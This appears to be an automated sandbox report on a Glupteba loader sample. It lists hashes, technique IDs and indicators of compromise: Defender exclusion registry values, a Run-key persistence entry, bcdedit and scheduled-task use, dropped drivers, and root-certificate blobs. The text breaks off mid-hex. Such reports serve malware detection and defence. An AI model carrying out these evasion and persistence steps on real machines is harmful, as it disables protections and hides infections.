glupteba | 482027d0e151826c175ff084f6e76ce4ca3a920ca648fc2d5906ed0a793fe8ad

Analysis

max time kernel
118s
max time network
145s
platform
windows7_x64
resource
win7v200722
submitted
17-10-2020 12:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

app.exe
Size

3.7MB
MD5

668aa92e65133ae444a91f3246a8b25f
SHA1

ef196259a3c3c563103e09c65e4ab8bb7c6a1e3c
SHA256

482027d0e151826c175ff084f6e76ce4ca3a920ca648fc2d5906ed0a793fe8ad
SHA512

c8d35a7ac7e0ebbd9a0b2486e473b7001173ef7f21e449eb25b9591924d9f6dbdabd138016afca0192ad832e04d1e52bd82126cac3ed77ed9f1df44edf705393

Score

10^/10

glupteba discovery dropper evasion loader persistence trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 2 IoCs

resource	yara_rule
behavioral1/memory/1620-2-0x0000000000400000-0x0000000000B16000-memory.dmp	family_glupteba
behavioral1/memory/1948-5-0x0000000000400000-0x0000000000B16000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
2024	bcdedit.exe
2044	bcdedit.exe
1852	bcdedit.exe
1364	bcdedit.exe
1080	bcdedit.exe
1400	bcdedit.exe
1232	bcdedit.exe
1536	bcdedit.exe
984	bcdedit.exe
1220	bcdedit.exe
1756	bcdedit.exe
2040	bcdedit.exe
396	bcdedit.exe
1104	bcdedit.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

Executes dropped EXE 3 IoCs

pid	Process
980	csrss.exe
1396	patch.exe
1268	dsefix.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059

Loads dropped DLL 12 IoCs

pid	Process
1948	app.exe
1948	app.exe
896	Process not Found
1396	patch.exe
1396	patch.exe
1396	patch.exe
1396	patch.exe
1396	patch.exe
1396	patch.exe
1396	patch.exe
1396	patch.exe
980	csrss.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\app.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a7f66fedb042.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\a7f66fedb042 = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LittleLeaf = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	app.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\LittleLeaf = "\"C:\\Windows\\rss\\csrss.exe\""	app.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	app.exe
File created	C:\Windows\rss\csrss.exe	app.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
768	schtasks.exe
1416	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	app.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f